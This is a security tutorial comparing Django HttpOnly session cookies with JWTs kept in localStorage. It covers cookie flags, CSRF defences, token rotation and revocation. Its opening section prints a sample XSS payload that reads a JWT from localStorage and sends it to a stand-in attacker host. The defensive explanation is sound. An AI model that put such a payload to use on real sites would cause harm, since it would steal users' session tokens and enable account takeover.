Django Session Cookie vs localStorage JWT Security Comparison
A team ships a Django REST Framework API, adds a React SPA on the same origin, and reaches for localStorage to store JWTs because that’s what the tutorial used. Six months later, a reflected XSS on a third-party widget exfiltrates every active session token in under 200ms. The attacker doesn’t need to touch a cookie, bypass SameSite, or forge a CSRF token. They just read a key from storage and replay it from a server in another country. This comparison is about why that attack path exists, when it doesn’t, and what the settings are that actually change the outcome.
How attackers steal tokens from each storage model
The attack mechanic is straightforward. localStorage is accessible to any JavaScript executing on the page, regardless of where that script originated. A stored JWT is just a string sitting in a key-value store that window.localStorage.getItem() can read without restriction. A successful XSS — whether reflected, stored, or through a compromised dependency — gives an attacker the same DOM access your own application code has.
The following payload illustrates the extraction. It takes the token and beacons it to an attacker-controlled endpoint:
// Stored XSS payload injected into a product review field
(function exfil() {
const token = localStorage.getItem('access_token'); // reads the JWT directly
if (!token) return;
// encode and exfiltrate — img beacons bypass CSP default-src in many configs
new Image().src = 'https://attacker.example/c?t=' + encodeURIComponent(token);
})();
Now run the same payload against a Django session cookie configured with HttpOnly=True:
// Same XSS payload, same origin, same execution context
(function exfil() {
const cookie = document.cookie; // returns "" — HttpOnly cookies are NOT in document.cookie
new Image().src = 'https://attacker.example/c?t=' + encodeURIComponent(cookie);
})();
The HttpOnly flag instructs the browser to exclude the cookie from the document.cookie API entirely. JavaScript cannot read it. The beacon fires, but it carries an empty string. The attacker has code execution on your page but still can’t steal the session identifier.
This is the core asymmetry. localStorage has no equivalent protection mechanism. There is no flag you can set on a localStorage key to make it invisible to script. The storage model itself is the exposure. For a deeper look at the full surface area of browser storage options, the browser storage security tradeoffs lab on Code Review Lab walks through localStorage, sessionStorage, IndexedDB, and cookies in attack context.
The account takeover path from localStorage token theft is direct: attacker captures the JWT, copies the Authorization: Bearer header into any HTTP client, and makes authenticated requests until the token expires. If your access token TTL is 24 hours — or worse, if you’re storing a refresh token in localStorage too — that window is long enough to cause real damage.
Fixing it: HttpOnly, Secure, SameSite, and short-lived JWTs
For Django’s built-in session framework, the secure defaults are three settings that should be on in every non-local environment:
# settings.py
# Session cookie flags
SESSION_COOKIE_HTTPONLY = True # prevent JS access — this is the XSS mitigation
SESSION_COOKIE_SECURE = True # only transmit over HTTPS — defeats passive interception
SESSION_COOKIE_SAMESITE = 'Lax' # blocks cross-site cookie sending on most navigations
# CSRF cookie — often forgotten
CSRF_COOKIE_HTTPONLY = False # must stay False so JS can read it for AJAX; that's intentional
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'
# Keep session age short for sensitive apps
SESSION_COOKIE_AGE = 3600 # 1 hour; adjust to your threat model
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
SESSION_COOKIE_HTTPONLY defaults to True in Django already. The one that trips people up is SESSION_COOKIE_SECURE, which defaults to False so local development works without TLS. Forgetting to override it in production means the session cookie travels over plaintext HTTP connections, which is exploitable on any network path you don’t control.
SameSite=Lax is the middle ground: it blocks cross-site POST requests (the classic CSRF vector) while still allowing top-level navigations (clicking a link from email to your site). SameSite=Strict is more aggressive and breaks OAuth redirects and some email link flows. SameSite=None requires Secure and re-opens cross-site sending — only appropriate when you explicitly need cross-origin cookie delivery.
If your architecture genuinely requires JWTs (cross-domain clients, microservices — covered in a later section), the fix is to move them out of localStorage and into HttpOnly cookies. With DRF SimpleJWT:
# settings.py — SimpleJWT HttpOnly cookie configuration
from datetime import timedelta
SIMPLE_JWT = {
'ACCESS_TOKEN_LIFETIME': timedelta(minutes=15), # short-lived; stolen tokens expire fast
'REFRESH_TOKEN_LIFETIME': timedelta(days=1),
'ROTATE_REFRESH_TOKENS': True, # rotation means a stolen refresh token
'BLACKLIST_AFTER_ROTATION': True, # can only be used once
'AUTH_COOKIE': 'access_token', # requires djangorestframework-simplejwt[cookie]
'AUTH_COOKIE_HTTP_ONLY': True,
'AUTH_COOKIE_SECURE': True,
'AUTH_COOKIE_SAMESITE': 'Lax',
}
# views.py — set cookie on login rather than returning token in response body
from rest_framework_simplejwt.views import TokenObtainPairView
from rest_framework.response import Response
class CookieTokenObtainPairView(TokenObtainPairView):
def post(self, request, *args, **kwargs):
response = super().post(request, *args, **kwargs)
if response.status_code == 200:
access = response.data.pop('access') # remove from body — body is readable by JS
refresh = response.data.pop('refresh')
response.set_cookie(
'access_token', access,
httponly=True,
secure=True,
samesite='Lax',
max_age=15 * 60, # matches ACCESS_TOKEN_LIFETIME
)
response.set_cookie(
'refresh_token', refresh,
httponly=True,
secure=True,
samesite='Lax',
max_age=86400,
)
return response
Keeping the JWT in the response body and then writing it to localStorage in your frontend code — the pattern most tutorials show — is precisely the antipattern you’re replacing here. The advanced XSS exfiltration techniques lab demonstrates how even a restricted XSS (no alert(), CSP blocking inline scripts) can still reach localStorage through DOM clobbering and deferred injection, which is why “we have CSP” is not a sufficient argument for keeping tokens there.
CSRF surface area: cookies vs Authorization headers
Moving tokens into HttpOnly cookies trades one attack surface for another. Cookies are sent automatically by the browser on every matching request, which means CSRF becomes relevant in a way it isn’t when the client must explicitly set an Authorization header.
The difference: a JWT in localStorage used via Authorization: Bearer header is immune to CSRF because cross-site requests can’t set custom headers (the browser won’t let attacker.example set headers on a request to yourapp.example). But it’s fully exposed to XSS. A JWT in an HttpOnly cookie is immune to XSS readout but is sent on cross-origin requests unless SameSite blocks it.
SameSite=Lax covers the most common CSRF attacks — cross-site form POST, cross-site fetch with credentials: 'include'. It doesn’t cover all cases, which is why Django’s CsrfViewMiddleware still matters:
# views.py — Django CSRF middleware in action
from django.views.decorators.csrf import csrf_protect
from django.http import JsonResponse
@csrf_protect # redundant if CsrfViewMiddleware is in MIDDLEWARE, shown for clarity
def transfer_funds(request):
if request.method == 'POST':
# CsrfViewMiddleware has already verified the token by this point
# It checks request.META['HTTP_X_CSRFTOKEN'] against the cookie value
amount = request.POST.get('amount')
# ... domain-specific transfer logic ...
return JsonResponse({'status': 'ok'})
On the frontend, your AJAX code needs to read the CSRF cookie (note: CSRF_COOKIE_HTTPONLY must be False for this to work) and attach it as a header:
// fetch helper that reads CSRF token from cookie and sends it as a header
function getCsrfToken() {
return document.cookie
.split('; ')
.find(row => row.startsWith('csrftoken='))
?.split('=')[1];
}
async function securePost(url, data) {
return fetch(url, {
method: 'POST',
credentials: 'same-origin', // send session cookie
headers: {
'Content-Type': 'application/json',
'X-CSRFToken': getCsrfToken(), // Django's CsrfViewMiddleware checks this
},
body: JSON.stringify(data),
});
}
The double-submit pattern here is what Django’s middleware validates: the CSRF value in the cookie must match the value in the header (or POST body). An attacker on a different origin can force the cookie to be sent via a form submission but cannot read the cookie value to populate the header, so the check fails.
SameSite=Strict would make this middleware check largely redundant for cookie-based sessions, but breaks too many real-world flows to recommend as a default.
Revocation, rotation, and session invalidation
This is where Django sessions have a structural advantage that JWTs cannot match without additional infrastructure.
A Django session ID is a server-side reference. When you call request.session.flush(), the session record is deleted from the backing store (database, cache, file). Every subsequent request that presents that session cookie gets a 403 or redirect to login because the server-side record no longer exists. Logout is immediate, complete, and requires no coordination across services.
# views.py — complete logout with Django sessions
from django.contrib.auth import logout
from django.http import JsonResponse
def logout_view(request):
logout(request) # calls request.session.flush() + clears auth
# The session cookie is now invalid — any replay of it hits a missing session record
response = JsonResponse({'status': 'logged out'})
response.delete_cookie('sessionid') # cosmetic; server-side flush is what matters
return response
A stateless JWT doesn’t have this property. The token is self-contained and valid until its exp claim passes. Calling “logout” on the client by deleting the cookie or clearing localStorage only affects that device. If an attacker already exfiltrated the token, it keeps working.
The standard mitigation is a denylist: store invalidated JTIs (JWT IDs) in Redis or a fast cache, check on every request, reject hits. This works, but it reintroduces statefulness — you’re now running a distributed session store by another name:
# middleware.py — Redis-backed JWT denylist check
import redis
from rest_framework_simplejwt.tokens import UntypedToken
from rest_framework_simplejwt.exceptions import InvalidToken, TokenError
from django.http import JsonResponse
r = redis.StrictRedis.from_url('redis://localhost:6379/0')
class JWTDenylistMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
auth_header = request.COOKIES.get('access_token') or
request.META.get('HTTP_AUTHORIZATION', '').replace('Bearer ', '')
if auth_header:
try:
token = UntypedToken(auth_header)
jti = token.payload.get('jti')
if jti and r.get(f'denylist:{jti}'):
# reject before view logic — token was explicitly revoked
return JsonResponse({'detail': 'Token revoked'}, status=401)
except (InvalidToken, TokenError):
pass # let the view's authentication class return the proper error
return self.get_response(request)
def revoke_token(jti: str, ttl_seconds: int):
# TTL matches remaining token lifetime — no need to keep dead entries forever
r.setex(f'denylist:{jti}', ttl_seconds, '1')
The broken authentication patterns lab covers the class of bugs this introduces — race conditions on rotation, denylist misses during Redis failover, and token reuse after a rotation acknowledgment is lost.
For incident response, the operational difference is significant. Suspect a session was compromised? With Django sessions: delete the row. With JWTs and no denylist: wait for expiry or deploy a denylist under load. Teams that have been through an account takeover incident tend to develop strong opinions about this difference quickly.
Threat model scorecard: XSS, CSRF, MITM, replay
| Threat | Django HttpOnly Session Cookie |
JWT in localStorage
|
JWT in HttpOnly Cookie |
|---|---|---|---|
| XSS token theft | Blocked (HttpOnly) |
Fully exposed | Blocked (HttpOnly) |
| CSRF | Requires SameSite + CSRF middleware |
Not applicable (no cookie) | Requires SameSite + CSRF middleware |
| MITM / passive interception | Blocked with Secure flag + HTTPS |
Blocked with HTTPS | Blocked with Secure flag + HTTPS |
| Replay after logout | Impossible (server-side flush) | Possible until exp
|
Possible until exp (without denylist) |
| Token revocation | Immediate | Requires denylist | Requires denylist |
| Cross-domain use | Not possible (SameSite blocks it) | Works via Authorization header |
Requires SameSite=None; Secure
|
| Mobile client auth | Awkward (cookies on native apps) | Natural fit | Workable with secure storage |
| Operational complexity | Low (session table + cache) | Medium (short TTL management) | Medium-High (rotation + denylist) |
The honest read of this table: for a same-domain web app with a standard browser client, Django session cookies win on almost every dimension. The JWT in localStorage pattern is the worst of both worlds — it reintroduces statefulness on the frontend while removing the server-side revocation safety net.
When a JWT actually makes sense in a Django app
There are legitimate cases. Forcing Django sessions into every architecture is its own kind of mistake.
Mobile and native clients don’t have a reliable cookie jar and can’t take advantage of HttpOnly cookies without additional WebView configuration. JWTs stored in platform secure storage (iOS Keychain, Android Keystore) are the appropriate pattern there. The constraint is “secure storage” — not localStorage, not SharedPreferences in plaintext.
Cross-domain SPAs where the API and frontend are on different registrable domains (e.g., api.company.com and app.otherdomain.com) can’t use SameSite=Lax cookies. Credentialed cookie sharing across different registrable domains requires SameSite=None; Secure and explicit CORS configuration, which creates its own attack surface. A short-lived JWT passed via Authorization header avoids that entirely.
Microservice-to-microservice auth is the use case JWTs were actually designed for. Service A mints a signed token asserting claims about the calling context; service B validates the signature without a network call. No shared session store needed.
For cross-domain SPAs where you must use JWTs, keep access tokens in memory (a module-level variable or React context — not localStorage, not sessionStorage) and store only the refresh token in an HttpOnly cookie served by your auth endpoint:
# views.py — in-memory access token pattern
# Access token is returned in the response body (JS holds it in memory only)
# Refresh token goes into an HttpOnly cookie — survives page reload, not readable by JS
class CookieTokenRefreshView(APIView):
def post(self, request):
refresh_token = request.COOKIES.get('refresh_token')
if not refresh_token:
return Response({'detail': 'No refresh token'}, status=401)
try:
refresh = RefreshToken(refresh_token)
access = str(refresh.access_token)
if api_settings.ROTATE_REFRESH_TOKENS:
# Old refresh token is blacklisted here; reject before use
refresh.blacklist()
new_refresh = str(refresh)
else:
new_refresh = refresh_token
response = Response({'access': access}) # access token in body — JS stores in memory
response.set_cookie(
'refresh_token', new_refresh,
httponly=True,
secure=True,
samesite='Lax',
max_age=86400,
path='/api/token/refresh/', # scope the cookie to the refresh endpoint only
)
return response
except TokenError as e:
return Response({'detail': str(e)}, status=401)
Scoping the refresh cookie to /api/token/refresh/ via the path attribute means it isn’t sent on every API request, reducing the CSRF exposure window.
Recommended defaults for new Django projects
Start here and deviate only when your architecture requires it:
# settings.py — production baseline
import os
DEBUG = False
# Session security
SESSION_COOKIE_HTTPONLY = True # default True, but be explicit
SESSION_COOKIE_SECURE = True # require HTTPS — override to False in local dev only
SESSION_COOKIE_SAMESITE = 'Lax' # blocks cross-site POST CSRF without breaking OAuth flows
SESSION_COOKIE_AGE = 3600 # 1 hour idle expiry; tune per sensitivity
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
SESSION_ENGINE = 'django.contrib.sessions.backends.cached_db' # cache-backed, survives restart
# CSRF
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_HTTPONLY = False # must be False — JS needs to read it for AJAX
CSRF_TRUSTED_ORIGINS = [
'https://yourapp.example.com', # explicit allowlist — no wildcards
]
# HTTPS enforcement
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.csrf.CsrfViewMiddleware', # keep this — SameSite doesn't cover everything
# ... remaining middleware ...
]
# views.py — minimal login/logout
from django.contrib.auth import authenticate, login, logout
from django.http import JsonResponse
from django.views.decorators.http import require_POST
from django.views.decorators.csrf import csrf_protect
@csrf_protect
@require_POST
def login_view(request):
username = request.POST.get('username', '').strip()
password = request.POST.get('password', '')
user = authenticate(request, username=username, password=password)
if user is None:
return JsonResponse({'detail': 'Invalid credentials'}, status=401)
login(request, user)
# Django rotates session ID on login — prevents session fixation
request.session.cycle_key()
return JsonResponse({'username': user.username})
@require_POST
def logout_view(request):
logout(request) # flushes session server-side; cookie replay now returns 403
return JsonResponse({'status': 'ok'})
The cycle_key() call deserves a note: django.contrib.auth.login() calls this internally, but being explicit makes it visible during code review. Session fixation attacks — where an attacker plants a known session ID before authentication and then inherits the authenticated session — are blocked when the ID rotates on privilege change.
When to deviate from this baseline:
- You have native mobile clients: add JWT issuance to a dedicated
/api/token/endpoint, use platform secure storage on the client side. - Your API serves multiple frontend origins: evaluate
SameSite=None; Securewith explicitCORS_ALLOWED_ORIGINSrather than wildcards, and add rate limiting to token endpoints. - You need sub-minute revocation latency on JWTs: add a Redis denylist, accept the operational overhead, keep access token TTLs at 5 minutes or less.
The default in Django is already the secure default: HttpOnly sessions, server-side storage, immediate revocation. The failure mode we see repeatedly is developers reaching past those defaults for a pattern that adds complexity and attack surface without a matching functional requirement. Before adding JWT infrastructure to a Django project, write down the concrete reason session cookies don’t work for your case. If you can’t write it down, you don’t need JWTs. For engineers building that security intuition systematically, the appsec engineer fundamentals track at Code Review Lab covers authentication architecture alongside the code-level vulnerabilities that make these decisions matter.
Further reading
-
Browser Storage Security Tradeoffs — Code Review Lab lab covering
localStorage, cookies, and IndexedDB attack surface in depth. - Advanced XSS Exfiltration Techniques — Code Review Lab lab on CSP bypasses, DOM-based injection, and why storage type determines blast radius.
- Broken Authentication Patterns — Code Review Lab lab on session fixation, denylist races, and token reuse vulnerabilities.
- OWASP Session Management Cheat Sheet — Authoritative reference on cookie flags, fixation, and session lifecycle.
- RFC 8725: JWT Best Current Practices — The IETF document that defines when JWTs are and aren’t appropriate, including the algorithm confusion and audience validation issues that bite Django deployments.